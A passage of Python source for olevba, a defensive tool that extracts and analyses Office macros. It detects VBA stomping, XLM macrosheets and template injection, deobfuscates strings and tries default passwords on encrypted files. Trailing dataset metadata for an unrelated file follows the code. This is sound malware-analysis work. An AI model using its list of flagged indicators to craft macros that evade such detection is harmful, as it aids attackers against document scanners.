encode_string(self, unicode_str): if self.encoding is None: return unicode_str else: return unicode_str.encode(self.encoding, errors='replace') def extract_macros(self): log.debug('extract_macros:') if self.ole_file is None: # This may be either an OpenXML/PPT or a text file: if self.type == TYPE_TEXT: # This is a text file, yield the full code: yield (self.filename, '', self.filename, self.vba_code_all_modules) elif self.type == TYPE_SLK: if self.xlm_macros: vba_code = '' for line in self.xlm_macros: vba_code += "' " + line + '\n' yield ('xlm_macro', 'xlm_macro', 'xlm_macro.txt', vba_code) else: for ole_subfile in self.ole_subfiles: for results in ole_subfile.extract_macros(): yield results else: self.find_vba_projects() vba_stream_ids = set() for vba_root, project_path, dir_path in self.vba_projects: try: for stream_path, vba_filename, vba_code in \ _extract_vba(self.ole_file, vba_root, project_path, dir_path, self.relaxed): vba_stream_ids.add(self.ole_file._find(stream_path)) yield (self.filename, stream_path, vba_filename, vba_code) except Exception as e: log.exception('Error in _extract_vba') ole = self.ole_file for sid in xrange(len(ole.direntries)): log.debug('Checking DirEntry #%d' % sid) if sid in vba_stream_ids: log.debug('Already extracted') continue d = ole.direntries[sid] if d is None: d = ole._load_direntry(sid) log.debug('This DirEntry is an orphan or unused') if d.entry_type == olefile.STGTY_STREAM: log.debug('Reading data from stream %r' % d.name) data = ole._open(d.isectStart, d.size).read() for match in re.finditer(b'\\x00Attribut[^e]', data, flags=re.IGNORECASE): start = match.start() - 3 log.debug('Found VBA compressed code at index %X' % start) compressed_code = data[start:] try: vba_code_bytes = decompress_stream(bytearray(compressed_code)) # (for example code page 1252 or 1251), because it's in the # the VBA project parsing failed (e.g. issue #593). # So let's convert using cp1252 as a guess vba_code_str = bytes2str(vba_code_bytes, encoding='cp1252') yield (self.filename, d.name, d.name, vba_code_str) except Exception as exc: log.debug('Error processing stream %r in file %r (%s)' % (d.name, self.filename, exc)) log.debug('Traceback:', exc_info=True) if self.xlm_macros: vba_code = '' for line in self.xlm_macros: vba_code += "' " + line + '\n' yield ('xlm_macro', 'xlm_macro', 'xlm_macro.txt', vba_code) # Analyse the VBA P-code to detect VBA stomping: # If stomping is detected, add a fake VBA module with the P-code as source comments # so that VBA_Scanner can find keywords and IOCs in it if self.detect_vba_stomping(): vba_code = '' for line in self.pcodedmp_output.splitlines(): vba_code += "' " + line + '\n' yield ('VBA P-code', 'VBA P-code', 'VBA_P-code.txt', vba_code) def extract_all_macros(self): if self.modules is None: self.modules = [] for (subfilename, stream_path, vba_filename, vba_code) in self.extract_macros(): self.modules.append((subfilename, stream_path, vba_filename, vba_code)) self.nb_macros = len(self.modules) return self.modules def get_vba_code_all_modules(self): vba_code_all_modules = '' for (_, _, _, vba_code) in self.extract_all_macros(): if not isinstance(vba_code, str): log.error('VBA code returned by extract_all_macros is not a string') else: vba_code_all_modules += vba_code + '\n' return vba_code_all_modules def analyze_macros(self, show_decoded_strings=False, deobfuscate=False): if self.detect_vba_macros(): if self.analysis_results is not None: return self.analysis_results if self.vba_code_all_modules is None: self.vba_code_all_modules = self.get_vba_code_all_modules() for (_, _, form_string) in self.extract_form_strings(): self.vba_code_all_modules += form_string + '\n' scanner = VBA_Scanner(self.vba_code_all_modules) self.analysis_results = scanner.scan(show_decoded_strings, deobfuscate) if self.detect_vba_stomping(): log.debug('adding VBA stomping to suspicious keywords') keyword = 'VBA Stomping' description = 'VBA Stomping was detected: the VBA source code and P-code are different, '\ 'this may have been used to hide malicious code' scanner.suspicious_keywords.append((keyword, description)) scanner.results.append(('Suspicious', keyword, description)) if self.xlm_macrosheet_found: log.debug('adding XLM macrosheet found to suspicious keywords') keyword = 'XLM macrosheet' description = 'XLM macrosheet found. It could contain malicious code' scanner.suspicious_keywords.append((keyword, description)) scanner.results.append(('Suspicious', keyword, description)) if self.template_injection_found: log.debug('adding Template Injection to suspicious keywords') keyword = 'Template Injection' description = 'Template injection found. A malicious template could have been uploaded ' \ 'from a remote location' scanner.suspicious_keywords.append((keyword, description)) scanner.results.append(('Suspicious', keyword, description)) autoexec, suspicious, iocs, hexstrings, base64strings, dridex, vbastrings = scanner.scan_summary() self.nb_autoexec += autoexec self.nb_suspicious += suspicious self.nb_iocs += iocs self.nb_hexstrings += hexstrings self.nb_base64strings += base64strings self.nb_dridexstrings += dridex self.nb_vbastrings += vbastrings return self.analysis_results def reveal(self): analysis = self.analyze_macros(show_decoded_strings=False) analysis = sorted(analysis, key=lambda type_decoded_encoded: len(type_decoded_encoded[2]), reverse=True) deobf_code = vba_collapse_long_lines(self.vba_code_all_modules) deobf_code = filter_vba(deobf_code) for kw_type, decoded, encoded in analysis: if kw_type == 'VBA string': decoded = decoded.replace('"', '""') decoded = '"%s"' % decoded # if the encoded string is enclosed in parentheses, # keep them in the decoded version: if encoded.startswith('(') and encoded.endswith(')'): decoded = '(%s)' % decoded deobf_code = deobf_code.replace(encoded, decoded) # # TODO: there is a bug somewhere which creates double returns '\r\r' # deobf_code = deobf_code.replace('\r\r', '\r') return deobf_code #TODO: repasser l'analyse plusieurs fois si des chaines hex ou base64 sont revelees def find_vba_forms(self): log.debug('VBA_Parser.find_vba_forms') # if the file is not OLE but OpenXML, return None: if self.ole_file is None and self.type != TYPE_PPT: return None # if this method has already been called, return previous result: # if self.vba_projects is not None: # return self.vba_projects # According to MS-OFORMS section 2.1.2 Control Streams: # - A parent control, that is, a control that can contain embedded controls, # MUST be persisted as a storage that contains multiple streams. # - All parent controls MUST contain a FormControl. The FormControl # properties are persisted to a stream (1) as specified in section 2.1.1.2. # The name of this stream (1) MUST be "f". # - Embedded controls that cannot themselves contain other embedded # controls are persisted sequentially as FormEmbeddedActiveXControls # to a stream (1) contained in the same storage as the parent control. # The name of this stream (1) MUST be "o". # - all names are case-insensitive if self.type == TYPE_PPT: # TODO: so far, this function is never called for PPT files, but # if that happens, the information is lost which ole file contains # which storage! ole_files = self.ole_subfiles log.warning('Returned info is not complete for PPT types!') else: ole_files = [self.ole_file, ] # start with an empty list: self.vba_forms = [] # Loop over ole streams for ole in ole_files: # Look for any storage containing those storage/streams: for storage in ole.listdir(streams=False, storages=True): log.debug('Checking storage %r' % storage) # Look for two streams named 'o' and 'f': o_stream = storage + ['o'] f_stream = storage + ['f'] log.debug('Checking if streams %r and %r exist' % (f_stream, o_stream)) if ole.exists(o_stream) and ole.get_type(o_stream) == olefile.STGTY_STREAM \ and ole.exists(f_stream) and ole.get_type(f_stream) == olefile.STGTY_STREAM: form_path = '/'.join(storage) log.debug('Found VBA Form: %r' % form_path) self.vba_forms.append(storage) return self.vba_forms def extract_form_strings(self): if self.ole_file is None: # This may be either an OpenXML/PPT or a text file: if self.type == TYPE_TEXT: # This is a text file, return no results: return else: # OpenXML/PPT: recursively yield results from each OLE subfile: for ole_subfile in self.ole_subfiles: for results in ole_subfile.extract_form_strings(): yield results else: # This is an OLE file: self.find_vba_forms() ole = self.ole_file for form_storage in self.vba_forms: o_stream = form_storage + ['o'] log.debug('Opening form object stream %r' % '/'.join(o_stream)) form_data = ole.openstream(o_stream).read() # Extract printable strings from the form object stream "o": for m in re_printable_string.finditer(form_data): log.debug('Printable string found in form: %r' % m.group()) # On Python 3, convert bytes string to unicode str: if PYTHON2: found_str = m.group() else: found_str = m.group().decode('utf8', errors='replace') if found_str != 'Tahoma': yield (self.filename, '/'.join(o_stream), found_str) def extract_form_strings_extended(self): if self.ole_file is None: # This may be either an OpenXML/PPT or a text file: if self.type == TYPE_TEXT: # This is a text file, return no results: return else: # OpenXML/PPT: recursively yield results from each OLE subfile: for ole_subfile in self.ole_subfiles: for results in ole_subfile.extract_form_strings_extended(): yield results else: # This is an OLE file: self.find_vba_forms() ole = self.ole_file for form_storage in self.vba_forms: for variable in oleform.extract_OleFormVariables(ole, form_storage): yield (self.filename, '/'.join(form_storage), variable) def extract_pcode(self): # Text and SLK files cannot be stomped: if self.type in (TYPE_SLK, TYPE_TEXT): self.pcodedmp_output = '' return '' # only run it once: if self.disable_pcode: self.pcodedmp_output = '' return '' if self.pcodedmp_output is None: log.debug('Calling pcodedmp to extract and disassemble the VBA P-code') # import pcodedmp here to avoid circular imports: try: from pcodedmp import pcodedmp except Exception as e: # This may happen with Pypy, because pcodedmp imports win_unicode_console... # TODO: this is a workaround, we just ignore P-code # TODO: here we just use log.info, because the word "error" in the output makes some of the tests fail... log.info('Exception when importing pcodedmp: {}'.format(e)) self.pcodedmp_output = '' return '' # logging is disabled after importing pcodedmp, need to re-enable it # This is because pcodedmp imports olevba again :-/ # TODO: here it works only if logging was enabled, need to change pcodedmp! enable_logging() # pcodedmp prints all its output to sys.stdout, so we need to capture it so that # we can process the results later on. # save sys.stdout, then modify it to capture pcodedmp's output: # stdout = sys.stdout if PYTHON2: # on Python 2, console output is bytes output = BytesIO() else: # on Python 3, console output is unicode output = StringIO() # sys.stdout = output # we need to fake an argparser for those two args used by pcodedmp: class args: disasmOnly = True verbose = False try: # TODO: handle files in memory too log.debug('before pcodedmp') # TODO: we just ignore pcodedmp errors stderr = sys.stderr sys.stderr = output pcodedmp.processFile(self.filename, args, output_file=output) sys.stderr = stderr log.debug('after pcodedmp') except Exception as e: # print('Error while running pcodedmp: {}'.format(e), file=sys.stderr, flush=True) # set sys.stdout back to its original value # sys.stdout = stdout log.exception('Error while running pcodedmp') # finally: # # set sys.stdout back to its original value # sys.stdout = stdout self.pcodedmp_output = output.getvalue() # print(self.pcodedmp_output) # log.debug(self.pcodedmp_output) return self.pcodedmp_output def detect_vba_stomping(self): log.debug('detect_vba_stomping') # only run it once: if self.vba_stomping_detected is not None: return self.vba_stomping_detected # Text and SLK files cannot be stomped: if self.type in (TYPE_SLK, TYPE_TEXT): self.vba_stomping_detected = False return False # TODO: Files in memory cannot be analysed with pcodedmp yet if not self.file_on_disk: log.warning('For now, VBA stomping cannot be detected for files in memory') self.vba_stomping_detected = False return False # only run it once: if self.vba_stomping_detected is None: log.debug('Analysing the P-code to detect VBA stomping') self.extract_pcode() # print('pcodedmp OK') log.debug('pcodedmp OK') # process the output to extract keywords, to detect VBA stomping keywords = set() for line in self.pcodedmp_output.splitlines(): if line.startswith('\t'): log.debug('P-code: ' + line.strip()) tokens = line.split(None, 1) mnemonic = tokens[0] args = '' if len(tokens) == 2: args = tokens[1].strip() # log.debug(repr([mnemonic, args])) # if mnemonic in ('VarDefn',): # # just add the rest of the line # keywords.add(args) # if mnemonic == 'FuncDefn': # # function definition: just strip parentheses # funcdefn = args.strip('()') # keywords.add(funcdefn) if mnemonic in ('ArgsCall', 'ArgsLd', 'St', 'Ld', 'MemSt', 'Label'): # sometimes ArgsCall is followed by "(Call)", if so we remove it (issue #489) if args.startswith('(Call) '): args = args[7:] # add 1st argument: name = args.split(None, 1)[0] # sometimes pcodedmp reports names like "id_FFFF", which are not # directly present in the VBA source code # (for example "Me" in VBA appears as id_FFFF in P-code) if not name.startswith('id_'): keywords.add(name) if mnemonic == 'LitStr': # re_string = re.compile(r'\"([^\"]|\"\")*\"') s = args.split(None, 1)[1] # it is always a double "". # We have to remove the " around the strings, then double the remaining ", # and put back the " around: if len(s)>=2: assert(s[0]=='"' and s[-1]=='"') s = s[1:-1] s = s.replace('"', '""') s = '"' + s + '"' keywords.add(s) log.debug('Keywords extracted from P-code: ' + repr(sorted(keywords))) self.vba_stomping_detected = False # get all VBA code as one string vba_code_all_modules = self.get_vba_code_all_modules() for keyword in keywords: if keyword not in vba_code_all_modules: log.debug('Keyword {!r} not found in VBA code'.format(keyword)) log.debug('VBA STOMPING DETECTED!') self.vba_stomping_detected = True break if not self.vba_stomping_detected: log.debug('No VBA stomping detected.') return self.vba_stomping_detected def close(self): if self.ole_file is None: if self.ole_subfiles is not None: for ole_subfile in self.ole_subfiles: ole_subfile.close() else: self.ole_file.close() class VBA_Parser_CLI(VBA_Parser): def __init__(self, *args, **kwargs): super(VBA_Parser_CLI, self).__init__(*args, **kwargs) def run_analysis(self, show_decoded_strings=False, deobfuscate=False): # print a waiting message only if the output is not redirected to a file: if sys.stdout.isatty(): print('Analysis...\r', end='') sys.stdout.flush() self.analyze_macros(show_decoded_strings, deobfuscate) def print_analysis(self, show_decoded_strings=False, deobfuscate=False): results = self.analysis_results if results: t = tablestream.TableStream(column_width=(10, 20, 45), header_row=('Type', 'Keyword', 'Description')) COLOR_TYPE = { 'AutoExec': 'yellow', 'Suspicious': 'red', 'IOC': 'cyan', } for kw_type, keyword, description in results: # handle non printable strings: if not is_printable(keyword): keyword = repr(keyword) if not is_printable(description): description = repr(description) color_type = COLOR_TYPE.get(kw_type, None) t.write_row((kw_type, keyword, description), colors=(color_type, None, None)) t.close() if self.vba_stomping_detected: print('VBA Stomping detection is experimental: please report any false positive/negative at https://github.com/decalage2/oletools/issues') else: print('No suspicious keyword or IOC found.') def print_analysis_json(self, show_decoded_strings=False, deobfuscate=False): # print a waiting message only if the output is not redirected to a file: if sys.stdout.isatty(): print('Analysis...\r', end='') sys.stdout.flush() return [dict(type=kw_type, keyword=keyword, description=description) for kw_type, keyword, description in self.analyze_macros(show_decoded_strings, deobfuscate)] def colorize_keywords(self, vba_code): results = self.analysis_results if results: COLOR_TYPE = { 'AutoExec': 'yellow', 'Suspicious': 'red', 'IOC': 'cyan', } for kw_type, keyword, description in results: color_type = COLOR_TYPE.get(kw_type, None) if color_type: vba_code = vba_code.replace(keyword, '{auto%s}%s{/%s}' % (color_type, keyword, color_type)) return vba_code def process_file(self, show_decoded_strings=False, display_code=True, hide_attributes=True, vba_code_only=False, show_deobfuscated_code=False, deobfuscate=False, show_pcode=False, no_xlm=False): #TODO: replace print by writing to a provided output file (sys.stdout by default) # fix conflicting parameters: self.no_xlm = no_xlm if vba_code_only and not display_code: display_code = True if self.container: display_filename = '%s in %s' % (self.filename, self.container) else: display_filename = self.filename print('=' * 79) print('FILE: %s' % display_filename) try: #TODO: handle olefile errors, when an OLE file is malformed print('Type: %s'% self.type) if self.detect_vba_macros(): # run analysis before displaying VBA code, in order to colorize found keywords self.run_analysis(show_decoded_strings=show_decoded_strings, deobfuscate=deobfuscate) #print 'Contains VBA Macros:' for (subfilename, stream_path, vba_filename, vba_code) in self.extract_all_macros(): if hide_attributes: # hide attribute lines: vba_code_filtered = filter_vba(vba_code) else: vba_code_filtered = vba_code print('-' * 79) print('VBA MACRO %s ' % vba_filename) print('in file: %s - OLE stream: %s' % (subfilename, repr(stream_path))) if display_code: print('- ' * 39) # detect empty macros: if vba_code_filtered.strip() == '': print('(empty macro)') else: # check if the VBA code contains special characters such as backspace (issue #358) if '\x08' in vba_code_filtered: log.warning('The VBA code contains special characters such as backspace, that may be used for obfuscation.') if sys.stdout.isatty(): # if the standard output is the console, we'll display colors backspace = colorclass.Color(b'{autored}\\x08{/red}') else: backspace = '\\x08' # replace backspace by "\x08" for display vba_code_filtered = vba_code_filtered.replace('\x08', backspace) try: # Colorize the interesting keywords in the output: # (unless the output is redirected to a file) if sys.stdout.isatty(): vba_code_filtered = colorclass.Color(self.colorize_keywords(vba_code_filtered)) except UnicodeError: # TODO better handling of Unicode log.error('Unicode conversion to be fixed before colorizing the output') print(vba_code_filtered) for (subfilename, stream_path, form_string) in self.extract_form_strings(): if form_string is not None: print('-' * 79) print('VBA FORM STRING IN %r - OLE stream: %r' % (subfilename, stream_path)) print('- ' * 39) print(form_string) try: for (subfilename, stream_path, form_variables) in self.extract_form_strings_extended(): if form_variables is not None: print('-' * 79) print('VBA FORM Variable "%s" IN %r - OLE stream: %r' % (form_variables['name'], subfilename, stream_path)) print('- ' * 39) print(str(form_variables['value'])) except Exception as exc: # display the exception with full stack trace for debugging log.info('Error parsing form: %s' % exc) log.debug('Traceback:', exc_info=True) if show_pcode: print('-' * 79) print('P-CODE disassembly:') pcode = self.extract_pcode() print(pcode) # if self.type == TYPE_SLK: # # TODO: clean up this code # slk_output = self.vba_code_all_modules # try: # # Colorize the interesting keywords in the output: # # (unless the output is redirected to a file) # if sys.stdout.isatty(): # slk_output = colorclass.Color(self.colorize_keywords(slk_output)) # except UnicodeError: # # TODO better handling of Unicode # log.debug('Unicode conversion to be fixed before colorizing the output') # print(slk_output) if not vba_code_only: # analyse the code from all modules at once: self.print_analysis(show_decoded_strings, deobfuscate) if show_deobfuscated_code: print('MACRO SOURCE CODE WITH DEOBFUSCATED VBA STRINGS (EXPERIMENTAL):\n\n') print(self.reveal()) else: print('No VBA macros found.') except OlevbaBaseException: raise except Exception as exc: # display the exception with full stack trace for debugging log.info('Error processing file %s (%s)' % (self.filename, exc)) traceback.print_exc() log.debug('Traceback:', exc_info=True) raise ProcessingError(self.filename, exc) print('') def process_file_json(self, show_decoded_strings=False, display_code=True, hide_attributes=True, vba_code_only=False, show_deobfuscated_code=False, deobfuscate=False, show_pcode=False, no_xlm=False): #TODO: fix conflicting parameters (?) self.no_xlm = no_xlm if vba_code_only and not display_code: display_code = True result = {} if self.container: result['container'] = self.container else: result['container'] = None result['file'] = self.filename result['json_conversion_successful'] = False result['analysis'] = None result['code_deobfuscated'] = None result['do_deobfuscate'] = deobfuscate result['show_pcode'] = show_pcode try: #TODO: handle olefile errors, when an OLE file is malformed result['type'] = self.type macros = [] if self.detect_vba_macros(): for (subfilename, stream_path, vba_filename, vba_code) in self.extract_all_macros(): curr_macro = {} if hide_attributes: # hide attribute lines: vba_code_filtered = filter_vba(vba_code) else: vba_code_filtered = vba_code curr_macro['vba_filename'] = vba_filename curr_macro['subfilename'] = subfilename curr_macro['ole_stream'] = stream_path if display_code: curr_macro['code'] = vba_code_filtered.strip() else: curr_macro['code'] = None macros.append(curr_macro) if not vba_code_only: # analyse the code from all modules at once: result['analysis'] = self.print_analysis_json(show_decoded_strings, deobfuscate) if show_deobfuscated_code: result['code_deobfuscated'] = self.reveal() if show_pcode: result['pcode'] = self.extract_pcode() result['macros'] = macros result['json_conversion_successful'] = True except Exception as exc: # display the exception with full stack trace for debugging log.info('Error processing file %s (%s)' % (self.filename, exc)) log.debug('Traceback:', exc_info=True) raise ProcessingError(self.filename, exc) return result def process_file_triage(self, show_decoded_strings=False, deobfuscate=False, no_xlm=False): #TODO: replace print by writing to a provided output file (sys.stdout by default) try: #TODO: handle olefile errors, when an OLE file is malformed if self.detect_vba_macros(): # print a waiting message only if the output is not redirected to a file: if sys.stdout.isatty(): print('Analysis...\r', end='') sys.stdout.flush() self.analyze_macros(show_decoded_strings=show_decoded_strings, deobfuscate=deobfuscate) flags = TYPE2TAG[self.type] macros = autoexec = suspicious = iocs = hexstrings = base64obf = dridex = vba_obf = '-' if self.contains_macros: macros = 'M' if self.nb_autoexec: autoexec = 'A' if self.nb_suspicious: suspicious = 'S' if self.nb_iocs: iocs = 'I' if self.nb_hexstrings: hexstrings = 'H' if self.nb_base64strings: base64obf = 'B' if self.nb_dridexstrings: dridex = 'D' if self.nb_vbastrings: vba_obf = 'V' flags += '%s%s%s%s%s%s%s%s' % (macros, autoexec, suspicious, iocs, hexstrings, base64obf, dridex, vba_obf) line = '%-12s %s' % (flags, self.filename) print(line) except Exception as exc: # display the exception with full stack trace for debugging only log.debug('Error processing file %s (%s)' % (self.filename, exc), exc_info=True) raise ProcessingError(self.filename, exc) #=== MAIN ===================================================================== def parse_args(cmd_line_args=None): DEFAULT_LOG_LEVEL = "warning" # Default log level LOG_LEVELS = { 'debug': logging.DEBUG, 'info': logging.INFO, 'warning': logging.WARNING, 'error': logging.ERROR, 'critical': logging.CRITICAL } usage = 'usage: olevba [options] <filename> [filename2 ...]' parser = argparse.ArgumentParser(usage=usage) parser.add_argument('filenames', nargs='*', help='Files to analyze') # parser.add_argument('-o', '--outfile', dest='outfile', # help='output file') # parser.add_argument('-c', '--csv', dest='csv', # help='export results to a CSV file') parser.add_argument("-r", action="store_true", dest="recursive", help='find files recursively in subdirectories.') parser.add_argument("-z", "--zip", dest='zip_password', type=str, default=None, help='if the file is a zip archive, open all files ' 'from it, using the provided password.') parser.add_argument("-p", "--password", type=str, action='append', default=[], help='if encrypted office files are encountered, try ' 'decryption with this password. May be repeated.') parser.add_argument("-f", "--zipfname", dest='zip_fname', type=str, default='*', help='if the file is a zip archive, file(s) to be ' 'opened within the zip. Wildcards * and ? are ' 'supported. (default: %(default)s)') modes = parser.add_argument_group(title='Output mode (mutually exclusive)') modes.add_argument("-t", '--triage', action="store_const", dest="output_mode", const='triage', default='unspecified', help='triage mode, display results as a summary table ' '(default for multiple files)') modes.add_argument("-d", '--detailed', action="store_const", dest="output_mode", const='detailed', default='unspecified', help='detailed mode, display full results (default for ' 'single file)') modes.add_argument("-j", '--json', action="store_const", dest="output_mode", const='json', default='unspecified', help='json mode, detailed in json format ' '(never default)') parser.add_argument("-a", '--analysis', action="store_false", dest="display_code", default=True, help='display only analysis results, not the macro ' 'source code') parser.add_argument("-c", '--code', action="store_true", dest="vba_code_only", default=False, help='display only VBA source code, do not analyze it') parser.add_argument("--decode", action="store_true", dest="show_decoded_strings", help='display all the obfuscated strings with their ' 'decoded content (Hex, Base64, StrReverse, ' 'Dridex, VBA).') parser.add_argument("--attr", action="store_false", dest="hide_attributes", default=True, help='display the attribute lines at the beginning of ' 'VBA source code') parser.add_argument("--reveal", action="store_true", dest="show_deobfuscated_code", help='display the macro source code after replacing ' 'all the obfuscated strings by their decoded ' 'content.') parser.add_argument('-l', '--loglevel', dest="loglevel", action="store", default=DEFAULT_LOG_LEVEL, help='logging level debug/info/warning/error/critical ' '(default=%(default)s)') parser.add_argument('--deobf', dest="deobfuscate", action="store_true", default=False, help="Attempt to deobfuscate VBA expressions (slow)") # TODO: --relaxed is enabled temporarily until a solution to issue #593 is found parser.add_argument('--relaxed', dest="relaxed", action="store_true", default=True, help='Do not raise errors if opening of substream ' 'fails (this option is now deprecated, enabled by default)') parser.add_argument('--show-pcode', dest="show_pcode", action="store_true", default=False, help="Show disassembled P-code (using pcodedmp)") parser.add_argument('--no-pcode', action='store_true', help='Disable extraction and analysis of pcode') parser.add_argument('--no-xlm', dest="no_xlm", action="store_true", default=False, help="Do not extract XLM Excel macros. This may speed up analysis of large files.") options = parser.parse_args(cmd_line_args) # Print help if no arguments are passed if len(options.filenames) == 0: # print banner with version python_version = '%d.%d.%d' % sys.version_info[0:3] print('olevba %s on Python %s - http://decalage.info/python/oletools' % (__version__, python_version)) print(__doc__) parser.print_help() sys.exit(RETURN_WRONG_ARGS) if options.show_pcode and options.no_pcode: parser.error('You cannot combine options --no-pcode and --show-pcode') options.loglevel = LOG_LEVELS[options.loglevel] return options def process_file(filename, data, container, options, crypto_nesting=0): try: # Open the file vba_parser = VBA_Parser_CLI(filename, data=data, container=container, relaxed=options.relaxed, disable_pcode=options.no_pcode) if options.output_mode == 'detailed': # fully detailed output vba_parser.process_file(show_decoded_strings=options.show_decoded_strings, display_code=options.display_code, hide_attributes=options.hide_attributes, vba_code_only=options.vba_code_only, show_deobfuscated_code=options.show_deobfuscated_code, deobfuscate=options.deobfuscate, show_pcode=options.show_pcode, no_xlm=options.no_xlm) elif options.output_mode == 'triage': # summarized output for triage: vba_parser.process_file_triage(show_decoded_strings=options.show_decoded_strings, deobfuscate=options.deobfuscate, no_xlm=options.no_xlm) elif options.output_mode == 'json': print_json( vba_parser.process_file_json(show_decoded_strings=options.show_decoded_strings, display_code=options.display_code, hide_attributes=options.hide_attributes, vba_code_only=options.vba_code_only, show_deobfuscated_code=options.show_deobfuscated_code, deobfuscate=options.deobfuscate, show_pcode=options.show_pcode, no_xlm=options.no_xlm)) else: # (should be impossible) raise ValueError('unexpected output mode: "{0}"!'.format(options.output_mode)) # even if processing succeeds, file might still be encrypted log.debug('Checking for encryption (normal)') if not crypto.is_encrypted(filename): log.debug('no encryption detected') return RETURN_OK except Exception as exc: log.debug('Checking for encryption (after exception)') if crypto.is_encrypted(filename): pass # deal with this below else: if isinstance(exc, (SubstreamOpenError, UnexpectedDataError)): if options.output_mode in ('triage', 'unspecified'): print('%-12s %s - Error opening substream or uenxpected ' \ 'content' % ('?', filename)) elif options.output_mode == 'json': print_json(file=filename, type='error', error=type(exc).__name__, message=str(exc)) else: log.exception('Error opening substream or unexpected ' 'content in %s' % filename) return RETURN_OPEN_ERROR elif isinstance(exc, FileOpenError): if options.output_mode in ('triage', 'unspecified'): print('%-12s %s - File format not supported' % ('?', filename)) elif options.output_mode == 'json': print_json(file=filename, type='error', error=type(exc).__name__, message=str(exc)) else: log.exception('Failed to open %s -- probably not supported!' % filename) return RETURN_OPEN_ERROR elif isinstance(exc, ProcessingError): if options.output_mode in ('triage', 'unspecified'): print('%-12s %s - %s' % ('!ERROR', filename, exc.orig_exc)) elif options.output_mode == 'json': print_json(file=filename, type='error', error=type(exc).__name__, message=str(exc.orig_exc)) else: log.exception('Error processing file %s (%s)!' % (filename, exc.orig_exc)) return RETURN_PARSE_ERROR else: raise # let caller deal with this # we reach this point only if file is encrypted # check if this is an encrypted file in an encrypted file in an ... if crypto_nesting >= crypto.MAX_NESTING_DEPTH: raise crypto.MaxCryptoNestingReached(crypto_nesting, filename) decrypted_file = None try: log.debug('Checking encryption passwords {}'.format(options.password)) passwords = options.password + crypto.DEFAULT_PASSWORDS decrypted_file = crypto.decrypt(filename, passwords) if not decrypted_file: log.error('Decrypt failed, run with debug output to get details') raise crypto.WrongEncryptionPassword(filename) log.info('Working on decrypted file') return process_file(decrypted_file, data, container or filename, options, crypto_nesting+1) finally: # clean up try: log.debug('Removing crypt temp file {}'.format(decrypted_file)) os.unlink(decrypted_file) except Exception: # e.g. file does not exist or is None pass # no idea what to return now raise Exception('Programming error -- should never have reached this!') def main(cmd_line_args=None): options = parse_args(cmd_line_args) # provide info about tool and its version if options.output_mode == 'json': # print first json entry with meta info and opening '[' print_json(script_name='olevba', version=__version__, url='http://decalage.info/python/oletools', type='MetaInformation', _json_is_first=True) else: # print banner with version python_version = '%d.%d.%d' % sys.version_info[0:3] print('olevba %s on Python %s - http://decalage.info/python/oletools' % (__version__, python_version)) logging.basicConfig(level=options.loglevel, format='%(levelname)-8s %(message)s') # enable logging in the modules: enable_logging() # with the option --reveal, make sure --deobf is also enabled: if options.show_deobfuscated_code and not options.deobfuscate: log.debug('set --deobf because --reveal was set') options.deobfuscate = True # gather info on all files that must be processed # ignore directory names stored in zip files: all_input_info = tuple((container, filename, data) for container, filename, data in xglob.iter_files( options.filenames, recursive=options.recursive, zip_password=options.zip_password, zip_fname=options.zip_fname) if not (container and filename.endswith('/'))) # specify output mode if options -t, -d and -j were not specified if options.output_mode == 'unspecified': if len(all_input_info) == 1: options.output_mode = 'detailed' else: options.output_mode = 'triage' if options.output_mode == 'triage': if options.show_deobfuscated_code: log.debug('ignoring option --reveal in triage output mode') if options.show_pcode: log.debug('ignoring option --show-pcode in triage output mode') # Column headers for triage mode if options.output_mode == 'triage': print('%-12s %-65s' % ('Flags', 'Filename')) print('%-12s %-65s' % ('-' * 11, '-' * 65)) previous_container = None count = 0 container = filename = data = None return_code = RETURN_OK try: for container, filename, data in all_input_info: # handle errors from xglob if isinstance(data, Exception): if isinstance(data, PathNotFoundException): if options.output_mode == 'triage': print('%-12s %s - File not found' % ('?', filename)) elif options.output_mode != 'json': log.error('Given path %r does not exist!' % filename) return_code = RETURN_FILE_NOT_FOUND if return_code == 0 \ else RETURN_SEVERAL_ERRS else: if options.output_mode == 'triage': print('%-12s %s - Failed to read from zip file %s' % ('?', filename, container)) elif options.output_mode != 'json': log.error('Exception opening/reading %r from zip file %r: %s' % (filename, container, data)) return_code = RETURN_XGLOB_ERR if return_code == 0 \ else RETURN_SEVERAL_ERRS if options.output_mode == 'json': print_json(file=filename, type='error', error=type(data).__name__, message=str(data)) continue if options.output_mode == 'triage': # print container name when it changes: if container != previous_container: if container is not None: print('\nFiles in %s:' % container) previous_container = container # process the file, handling errors and encryption curr_return_code = process_file(filename, data, container, options) count += 1 # adjust overall return code if curr_return_code == RETURN_OK: continue # do not modify overall return code if return_code == RETURN_OK: return_code = curr_return_code # first error return code else: return_code = RETURN_SEVERAL_ERRS # several errors if options.output_mode == 'triage': print('\n(Flags: OpX=OpenXML, XML=Word2003XML, FlX=FlatOPC XML, MHT=MHTML, TXT=Text, M=Macros, ' \ 'A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, ' \ 'B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)\n') if options.output_mode == 'json': # print last json entry (a last one without a comma) and closing ] print_json(type='MetaInformation', return_code=return_code, n_processed=count, _json_is_last=True) except crypto.CryptoErrorBase as exc: log.exception('Problems with encryption in main: {}'.format(exc), exc_info=True) if return_code == RETURN_OK: return_code = RETURN_ENCRYPTED else: return_code == RETURN_SEVERAL_ERRS except Exception as exc: # some unexpected error, maybe some of the types caught in except clauses # above were not sufficient. This is very bad, so log complete trace at exception level # and do not care about output mode log.exception('Unhandled exception in main: %s' % exc, exc_info=True) return_code = RETURN_UNEXPECTED # even if there were others before -- this is more important # TODO: print msg with URL to report issues (except in JSON mode) # done. exit log.debug('will exit now with code %s' % return_code) sys.exit(return_code) if __name__ == '__main__': main() # This was coded while listening to "Dust" from I Love You But I've Chosen Darkness
true
true
f7f3a3aadd57160698ff94651e334ea8a93916f5
503
py
Python
angular_flask/models/Category.py
saqib-nadeem/sample_python_scripts
35054816b262a3860ab9db383ab5d9e11ac0ce87
[ "MIT" ]
null
null
null
angular_flask/models/Category.py
saqib-nadeem/sample_python_scripts
35054816b262a3860ab9db383ab5d9e11ac0ce87
[ "MIT" ]
null
null
null
angular_flask/models/Category.py
saqib-nadeem/sample_python_scripts
35054816b262a3860ab9db383ab5d9e11ac0ce87
[ "MIT" ]
null
null
null
